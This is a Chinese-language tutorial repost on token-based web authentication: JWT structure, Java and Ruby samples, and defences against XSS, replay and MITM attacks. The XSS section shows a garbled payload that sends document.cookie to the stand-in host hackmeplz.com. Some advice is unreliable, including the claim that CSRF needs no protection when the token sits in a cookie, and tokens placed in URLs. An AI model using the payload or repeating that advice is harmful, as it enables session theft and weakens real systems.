2. 程式人生 > >基於Token的WEB後臺認證機制

基於Token的WEB後臺認證機制

阿新 • • 發佈：2018-07-16
ini .net pass www. 開源庫 集合 生成 http 全部

轉自:https://www.cnblogs.com/xiekeli/p/5607107.html

幾種常用的認證機制

HTTP Basic Auth

HTTP Basic Auth簡單點說明就是每次請求API時都提供用戶的username和password，簡言之，Basic Auth是配合RESTful API 使用的最簡單的認證方式，只需提供用戶名密碼即可，但由於有把用戶名密碼暴露給第三方客戶端的風險，在生產環境下被使用的越來越少。因此，在開發對外開放的RESTful API時，盡量避免采用HTTP Basic Auth

OAuth

OAuth（開放授權）是一個開放的授權標準，允許用戶讓第三方應用訪問該用戶在某一web服務上存儲的私密的資源（如照片，視頻，聯系人列表），而無需將用戶名和密碼提供給第三方應用。

OAuth允許用戶提供一個令牌，而不是用戶名和密碼來訪問他們存放在特定服務提供者的數據。每一個令牌授權一個特定的第三方系統（例如，視頻編輯網站)在特定的時段（例如，接下來的2小時內）內訪問特定的資源（例如僅僅是某一相冊中的視頻）。這樣，OAuth讓用戶可以授權第三方網站訪問他們存儲在另外服務提供者的某些特定信息，而非所有內容
下面是OAuth2.0的流程：
技術分享圖片

這種基於OAuth的認證機制適用於個人消費者類的互聯網產品，如社交類APP等應用，但是不太適合擁有自有認證權限管理的企業應用；

Cookie認證機制就是為一次請求認證在服務端創建一個Session對象，同時在客戶端的瀏覽器端創建了一個Cookie對象；通過客戶端帶上來Cookie對象來與服務器端的session對象匹配來實現狀態管理的。默認的，當我們關閉瀏覽器的時候，cookie會被刪除。但可以通過修改cookie 的expire time使cookie在一定時間內有效；

Token Auth

技術分享圖片

Token Auth的優點

Token機制相對於Cookie機制又有什麽好處呢？

  • 支持跨域訪問: Cookie是不允許垮域訪問的，這一點對Token機制是不存在的，前提是傳輸的用戶認證信息通過HTTP頭傳輸.
  • 無狀態(也稱：服務端可擴展行):Token機制在服務端不需要存儲session信息，因為Token 自身包含了所有登錄用戶的信息，只需要在客戶端的cookie或本地介質存儲狀態信息.
  • 更適用CDN: 可以通過內容分發網絡請求你服務端的所有資料（如：javascript，HTML,圖片等），而你的服務端只要提供API即可.
  • 去耦: 不需要綁定到一個特定的身份驗證方案。Token可以在任何地方生成，只要在你的API被調用的時候，你可以進行Token生成調用即可.
  • 更適用於移動應用: 當你的客戶端是一個原生平臺（iOS, Android，Windows 8等）時，Cookie是不被支持的（你需要通過Cookie容器進行處理），這時采用Token認證機制就會簡單得多。
  • CSRF:因為不再依賴於Cookie，所以你就不需要考慮對CSRF（跨站請求偽造）的防範。
  • 性能: 一次網絡往返時間（通過數據庫查詢session信息）總比做一次HMACSHA256計算 的Token驗證和解析要費時得多.
  • 不需要為登錄頁面做特殊處理: 如果你使用Protractor 做功能測試的時候，不再需要為登錄頁面做特殊處理.
  • 基於標準化:你的API可以采用標準化的 JSON Web Token (JWT). 這個標準已經存在多個後端庫（.NET, Ruby, Java,Python, PHP）和多家公司的支持（如：Firebase,Google, Microsoft）.

基於JWT的Token認證機制實現

JSON Web Token（JWT）是一個非常輕巧的規範。這個規範允許我們使用JWT在用戶和服務器之間傳遞安全可靠的信息。其

JWT的組成

一個JWT實際上就是一個字符串，它由三部分組成，頭部、載荷與簽名。
載荷（Payload）

{ "iss": "Online JWT Builder", 
  "iat": 1416797419, 
  "exp": 1448333419, 
  "aud": "www.example.com", 
  "sub": "[email protected]", 
  "GivenName": "Johnny", 
  "Surname": "Rocket", 
  "Email": "[email protected]", 
  "Role": [ "Manager", "Project Administrator" ] 
}
  • iss: 該JWT的簽發者，是否使用是可選的；
  • sub: 該JWT所面向的用戶，是否使用是可選的；
  • aud: 接收該JWT的一方，是否使用是可選的；
  • exp(expires): 什麽時候過期，這裏是一個Unix時間戳，是否使用是可選的；
  • iat(issued at): 在什麽時候簽發的(UNIX時間)，是否使用是可選的；
    其他還有：
  • nbf (Not Before)：如果當前時間在nbf裏的時間之前，則Token不被接受；一般都會留一些余地，比如幾分鐘；，是否使用是可選的；

將上面的JSON對象進行[base64編碼]可以得到下面的字符串。這個字符串我們將它稱作JWT的Payload（載荷）。

eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9

小知識：Base64是一種基於64個可打印字符來表示二進制數據的表示方法。由於2的6次方等於64，所以每6個比特為一個單元，對應某個可打印字符。三個字節有24個比特，對應於4個Base64單元，即3個字節需要用4個可打印字符來表示。JDK 中提供了非常方便的 BASE64Encoder 和 BASE64Decoder，用它們可以非常方便的完成基於 BASE64 的編碼和解碼

頭部（Header）
JWT還需要一個頭部，頭部用於描述關於該JWT的最基本的信息，例如其類型以及簽名所用的算法等。這也可以被表示成一個JSON對象。

{
"typ": "JWT",
"alg": "HS256"
}

在頭部指明了簽名算法是HS256算法。
當然頭部也要進行BASE64編碼，編碼後的字符串如下：

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

簽名（Signature）
將上面的兩個編碼後的字符串都用句號.連接在一起（頭部在前），就形成了:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0

最後，我們將上面拼接完的字符串用HS256算法進行加密。在加密的時候，我們還需要提供一個密鑰（secret）。如果我們用mystar作為密鑰的話，那麽就可以得到我們加密後的內容:

rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

最後將這一部分簽名也拼接在被簽名的字符串後面，我們就得到了完整的JWT:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

在我們的請求URL中會帶上這串JWT字符串：

https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

認證過程

下面我們從一個實例來看如何運用JWT機制實現認證：

登錄

  • 第一次認證：第一次登錄，用戶從瀏覽器輸入用戶名/密碼，提交後到服務器的登錄處理的Action層（Login Action）；
  • Login Action調用認證服務進行用戶名密碼認證，如果認證通過，Login Action層調用用戶信息服務獲取用戶信息（包括完整的用戶信息及對應權限信息）；
  • 返回用戶信息後，Login Action從配置文件中獲取Token簽名生成的秘鑰信息，進行Token的生成；
  • 生成Token的過程中可以調用第三方的JWT Lib生成簽名後的JWT數據；
  • 完成JWT數據簽名後，將其設置到COOKIE對象中，並重定向到首頁，完成登錄過程；

技術分享圖片

請求認證

基於Token的認證機制會在每一次請求中都帶上完成簽名的Token信息，這個Token信息可能在COOKIE
中，也可能在HTTP的Authorization頭中；

技術分享圖片

  • 客戶端（APP客戶端或瀏覽器）通過GET或POST請求訪問資源（頁面或調用API）；
  • 認證服務作為一個Middleware HOOK 對請求進行攔截，首先在cookie中查找Token信息，如果沒有找到，則在HTTP Authorization Head中查找；
  • 如果找到Token信息，則根據配置文件中的簽名加密秘鑰，調用JWT Lib對Token信息進行解密和解碼；
  • 完成解碼並驗證簽名通過後，對Token中的exp、nbf、aud等信息進行驗證；
  • 全部通過後，根據獲取的用戶的角色權限信息，進行對請求的資源的權限邏輯判斷；
  • 如果權限邏輯判斷通過則通過Response對象返回；否則則返回HTTP 401；

對Token認證的五點認識

對Token認證機制有5點直接註意的地方：

  • 一個Token就是一些信息的集合；
  • 在Token中包含足夠多的信息，以便在後續請求中減少查詢數據庫的幾率；
  • 服務端需要對cookie和HTTP Authrorization Header進行Token信息的檢查；
  • 基於上一點，你可以用一套token認證代碼來面對瀏覽器類客戶端和非瀏覽器類客戶端；
  • 因為token是被簽名的，所以我們可以認為一個可以解碼認證通過的token是由我們系統發放的，其中帶的信息是合法有效的；

JWT的JAVA實現

Java中對JWT的支持可以考慮使用JJWT開源庫；JJWT實現了JWT, JWS, JWE 和 JWA RFC規範；下面將簡單舉例說明其使用：
生成Token碼

import javax.crypto.spec.SecretKeySpec;
import javax.xml.bind.DatatypeConverter;
import java.security.Key;
import io.jsonwebtoken.*;
import java.util.Date;    
 
//Sample method to construct a JWT
 
private String createJWT(String id, String issuer, String subject, long ttlMillis) {
 
//The JWT signature algorithm we will be using to sign the token
SignatureAlgorithm signatureAlgorithm = SignatureAlgorithm.HS256;
 
long nowMillis = System.currentTimeMillis();
Date now = new Date(nowMillis);
 
//We will sign our JWT with our ApiKey secret
byte[] apiKeySecretBytes = DatatypeConverter.parseBase64Binary(apiKey.getSecret());
Key signingKey = new SecretKeySpec(apiKeySecretBytes, signatureAlgorithm.getJcaName());
 
  //Let‘s set the JWT Claims
JwtBuilder builder = Jwts.builder().setId(id)
                                .setIssuedAt(now)
                                .setSubject(subject)
                                .setIssuer(issuer)
                                .signWith(signatureAlgorithm, signingKey);
 
//if it has been specified, let‘s add the expiration
if (ttlMillis >= 0) {
    long expMillis = nowMillis + ttlMillis;
    Date exp = new Date(expMillis);
    builder.setExpiration(exp);
}
 
//Builds the JWT and serializes it to a compact, URL-safe string
return builder.compact();
}

解碼和驗證Token碼

import javax.xml.bind.DatatypeConverter;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.Claims;
 
//Sample method to validate and read the JWT
private void parseJWT(String jwt) {
//This line will throw an exception if it is not a signed JWS (as expected)
Claims claims = Jwts.parser()        
   .setSigningKey(DatatypeConverter.parseBase64Binary(apiKey.getSecret()))
   .parseClaimsJws(jwt).getBody();
System.out.println("ID: " + claims.getId());
System.out.println("Subject: " + claims.getSubject());
System.out.println("Issuer: " + claims.getIssuer());
System.out.println("Expiration: " + claims.getExpiration());
}

基於JWT的Token認證的安全問題

確保驗證過程的安全性

如何保證用戶名/密碼驗證過程的安全性；因為在驗證過程中，需要用戶輸入用戶名和密碼，在這一過程中，用戶名、密碼等敏感信息需要在網絡中傳輸。因此，在這個過程中建議采用HTTPS，通過SSL加密傳輸，以確保通道的安全性。

如何防範XSS Attacks

瀏覽器可以做很多事情，這也給瀏覽器端的安全帶來很多隱患，最常見的如：XSS攻擊：跨站腳本攻擊(Cross Site Scripting)；如果有個頁面的輸入框中允許輸入任何信息，且沒有做防範措施，如果我們輸入下面這段代碼：

<img src="x" /> a.src=‘https://hackmeplz.com/yourCookies.png/?cookies=’
+document.cookie;return a}())"

這段代碼會盜取你域中的所有cookie信息，並發送到 hackmeplz.com；那麽我們如何來防範這種攻擊呢？

  • XSS攻擊代碼過濾
    移除任何會導致瀏覽器做非預期執行的代碼，這個可以采用一些庫來實現（如：js下的js-xss，JAVA下的XSS HTMLFilter，PHP下的TWIG）；如果你是將用戶提交的字符串存儲到數據庫的話（也針對SQL註入攻擊），你需要在前端和服務端分別做過濾；
  • 采用HTTP-Only Cookies
    通過設置Cookie的參數： HttpOnly; Secure 來防止通過JavaScript 來訪問Cookie；
    如何在Java中設置cookie是HttpOnly呢？
    Servlet 2.5 API 不支持 cookie設置HttpOnly
    http://docs.oracle.com/cd/E17802_01/products/products/servlet/2.5/docs/servlet-2_5-mr2/
    建議升級Tomcat7.0，它已經實現了Servlet3.0
    http://tomcat.apache.org/tomcat-7.0-doc/servletapi/javax/servlet/http/Cookie.html
    或者通過這樣來設置：
//設置cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");

//設置多個cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");

//設置https的cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");

在實際使用中，我們可以使FireCookie查看我們設置的Cookie 是否是HttpOnly；

如何防範Replay Attacks

所謂重放攻擊就是攻擊者發送一個目的主機已接收過的包，來達到欺騙系統的目的，主要用於身份認證過程。比如在瀏覽器端通過用戶名/密碼驗證獲得簽名的Token被木馬竊取。即使用戶登出了系統，黑客還是可以利用竊取的Token模擬正常請求，而服務器端對此完全不知道，以為JWT機制是無狀態的。
針對這種情況，有幾種常用做法可以用作參考：
1、時間戳 +共享秘鑰
這種方案，客戶端和服務端都需要知道：

  • User ID
  • 共享秘鑰

客戶端

auth_header = JWT.encode({
  user_id: 123,
  iat: Time.now.to_i,      # 指定token發布時間
  exp: Time.now.to_i + 2   # 指定token過期時間為2秒後，2秒時間足夠一次HTTP請求，同時在一定程度確保上一次token過期，減少replay attack的概率；
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)

服務端

class ApiController < ActionController::Base
  attr_reader :current_user
  before_action :set_current_user_from_jwt_token

  def set_current_user_from_jwt_token
    # Step 1:解碼JWT，並獲取User ID，這個時候不對Token簽名進行檢查
    # the signature. Note JWT tokens are *not* encrypted, but signed.
    payload = JWT.decode(request.authorization, nil, false)

    # Step 2: 檢查該用戶是否存在於數據庫
    @current_user = User.find(payload[‘user_id‘])
    
    # Step 3: 檢查Token簽名是否正確.
    JWT.decode(request.authorization, current_user.api_secret)
    
    # Step 4: 檢查 "iat" 和"exp" 以確保這個Token是在2秒內創建的.
    now = Time.now.to_i
    if payload[‘iat‘] > now || payload[‘exp‘] < now
      # 如果過期則返回401
    end
  rescue JWT::DecodeError
    # 返回 401
  end
end

2、時間戳 +共享秘鑰+黑名單 （類似Zendesk的做法）
客戶端

auth_header = JWT.encode({
  user_id: 123,
  jti: rand(2 << 64).to_s,  # 通過jti確保一個token只使用一次，防止replace attack
  iat: Time.now.to_i,       # 指定token發布時間.
  exp: Time.now.to_i + 2    # 指定token過期時間為2秒後
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)

服務端

def set_current_user_from_jwt_token
  # 前面的步驟參考上面
  payload = JWT.decode(request.authorization, nil, false)
  @current_user = User.find(payload[‘user_id‘])
  JWT.decode(request.authorization, current_user.api_secret)
  now = Time.now.to_i
  if payload[‘iat‘] > now || payload[‘exp‘] < now
    # 返回401
  end
  
  # 下面將檢查確保這個JWT之前沒有被使用過
  # 使用Redis的原子操作
  
  # The redis 的鍵: <user id>:<one-time use token>
  key = "#{payload[‘user_id‘]}:#{payload[‘jti‘]}"
  
  # 看鍵值是否在redis中已經存在. 如果不存在則返回nil. 如果存在則返回“1”. .
  if redis.getset(key, "1")
    # 返回401
    # 
  end
  
  # 進行鍵值過期檢查
  redis.expireat(key, payload[‘exp‘] + 2)
end

如何防範MITM （Man-In-The-Middle）Attacks

所謂MITM攻擊，就是在客戶端和服務器端的交互過程被監聽，比如像可以上網的咖啡館的WIFI被監聽或者被黑的代理服務器等；
針對這類攻擊的辦法使用HTTPS，包括針對分布式應用，在服務間傳輸像cookie這類敏感信息時也采用HTTPS；所以雲計算在本質上是不安全的。

參考目錄：
https://stormpath.com/blog/build-secure-user-interfaces-using-jwts
https://auth0.com/blog/2014/01/27/ten-things-you-should-know-about-tokens-and-cookies/
https://www.quora.com/Is-JWT-JSON-Web-Token-insecure-by-design
https://github.com/auth0/node-jsonwebtoken/issues/36
http://christhorntonsf.com/secure-your-apis-with-jwt/

基於Token的WEB後臺認證機制

相關推薦

基於Token的WEB後臺認證機制

ini .net pass www. 開源庫 集合 生成 http 全部 轉自:https://www.cnblogs.com/xiekeli/p/5607107.html 幾種常用的認證機制 HTTP Basic Auth HTTP Basic Auth簡單點說明就

JSON Web Token實戰篇——基於koa開發WEB後臺認證機制

今天來說說JSON Web Token，JSON Web Token（縮寫 JWT）是目前最流行的跨域認證解決方案。關於它的介紹，可以看阮一峰的這篇文章JSON Web Token 入門教程 工作流程 這裡直接使用官網的圖 知道了JWT的原理後，我們來看一下如何基於koa開發web

JavaWeb—基於Token的身份驗證 基於Token的WEB後臺認證機制

傳統身份驗證的方法 HTTP Basic Auth HTTP Basic Auth簡單點說明就是每次請求API時都提供使用者的username和password，簡言之，Basic Auth是配合RESTful API 使用的最簡單的認證方式，只需提供使用者名稱密碼即可，但由於有把使用者名稱密碼暴露給第三

基於Token的WEB後臺認證機制(會話機制)

幾種常用的認證機制 HTTP Basic Auth HTTP Basic Auth簡單點說明就是每次請求API時都提供使用者的username和password，簡言之，Basic Auth是配合RESTful API 使用的最簡單的認證方式，只需提供使用者名稱密碼即可，

補充知識點五：基於Token的WEB後臺認證機制

自己寫的例項： 1.引入JAR包 <dependency> <groupId>io.jsonwebtoken</groupId> <artifactId&g

WEB後臺--基於Token的WEB後臺登入認證機制（並講解其他認證機制以及cookie和session機制）

繼續這一個系列，基於Token的WEB後臺登入認證機制（並講解cookie和session機制）。每個後端不得不解決的認證問題。 本系列： 文章結構：（1）JWT（一種基於 token 的認證方案）介紹並介紹其他幾大認證機

基於Token的WEB後臺登入認證機制（並講解其他認證機制以及cookie和session機制）

幾種常用的認證機制 HTTP Basic Auth HTTP Basic Auth簡單點說明就是每次請求API時都提供使用者的username和password，簡言之，Basic Auth是配合RESTful API 使用的最簡單的認證方式，只需提供使用者

基於密鑰的認證機制（ssh）

ssh 基於密鑰登陸 網絡中的兩臺服務器需要經常進行通信，而頻繁的輸入賬號和密碼既繁瑣又不安全，所以需要使用基於密鑰的認證，這種使用在服務器集群配置中非常的常用。下面以CentOS服務器系統為例簡單介紹下配置方法（服務器必須安裝SSH）。1、客戶端首先生成一對密鑰，包括公鑰和私鑰 ssh-key

Hadoop基於Service級別的認證機制

前言 最近在學習Hadoop Security方面的內容，但注意了，本文今天不是介紹Kerberos認證機制的。今天分享一個Service Level的認證機制，可以說它是一種預先認證行為，比我們常說的HDFS許可權驗證等等都要更早一些。一句話簡單地來講，它是Service/S

egg基於jsonwebtoken的Token實現認證機制

Json web token（JWT）是為了網路應用環境間傳遞宣告而執行的一種基於JSON的開發標準（RFC 7519），該token被設計為緊湊且安全的，特別適用於分散式站點的單點登陸（SSO）場景。JWT的宣告一般被用來在身份提供者和服務提供者間傳遞被認證的使用者身份資訊，以便於從資源伺服器獲取資源

基於JWT的Token認證機制

一：什麼是JWT？ Json web token (JWT), 是為了在網路應用環境間傳遞宣告而執行的一種基於JSON的開放標準（(RFC 7519).該token被設計為緊湊且安全的，特別適用於分散式站點的單點登入（SSO）場景。JWT的宣告一般被用來在身份

基於token的WEB認證機制

import javax.crypto.spec.SecretKeySpec; import javax.xml.bind.DatatypeConverter; import java.security.Key; import io.jsonwebtoken.*; import java.util.Date;

基於JWT的Token認證機制（一）

簡介           JSON Web Token（JWT）是一個非常輕巧的規範，這個規範允許我們使用JWT在使用者和伺服器之間傳遞安全可靠的資訊。它是基於RFC 7519標準定義的一種可以安全傳

基於HTTP的基本安全認證機制

總結一下常用的兩種HTTP安全認證機制。 1.HTTP的基本認證過程：瀏覽器發起HTTP請求，如果請求的資源被加密，伺服器會返回401響應，瀏覽器會彈出一個對話方塊，要求瀏覽器提交使用者名稱、密碼，使用者在輸入身份驗證資訊後提交到伺服器，伺服器驗證無誤後才返回資源。此過程互

[CentOS 7系列]使用密鑰認證機制遠程登錄

private 用戶名 輸入密碼 服務器 操作系統 當服務器操作系統沒有配置遠程密鑰認證時，默認需要手動輸入密碼口令。以下用putty為例：1、使用putty遠程ssh登錄192.168.137.100這臺主機2、第一次登錄選擇“是（Y）”，信任該主機，緩存該主機登錄信息。3、登錄時，要輸

linux主機間基於密鑰認證

認證 密鑰 1.生成公鑰私鑰 ssh-genkey -t rsa2.復制公鑰到其他主機 ssh-copy-id -i /root/.ssh/id_rsa.pub [email protected]/* */ 該命令實際是將公鑰放到~/.ssh/authorized_keys文件

PAM認證機制

pam模塊使用PAM認證機制PAM:Pluggable Authentication Modules認證庫：文本文件，MySQL，NIS，LDAP等PAM 是關註如何為服務驗證用戶的API，通過提供一些動態鏈接庫和一套統一的API，將系統提供的服務和該服務的認證方式分開使得系統管理員可以靈活地根據需要給不同的

ssh基於密鑰認證的登錄方式

ssh （ssh:secure shell, protocol, 22/tcp,安全的遠程登錄） SSH相關的安裝包： openssh-clients.x86_64 SSH的客戶端安裝包 openssh-server.x86_64 SSH的服務器端安裝包 o

基於HTTP 協議認證介紹與實現

idt 興趣 cati 生成 保護 進行 pos 響應 label 導言 一直對http 的頭認證有興趣,就是路由器的那種彈出對話框輸入賬號密碼怎麽實現一直不明白,最近,翻了一下http 協議,發現這是一個RFC 2617的實現,所以寫篇文章介紹一下吧. Http基本認證

基於bootstrap_後臺管理

post ear more put page 頭部 asp move 信息 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8">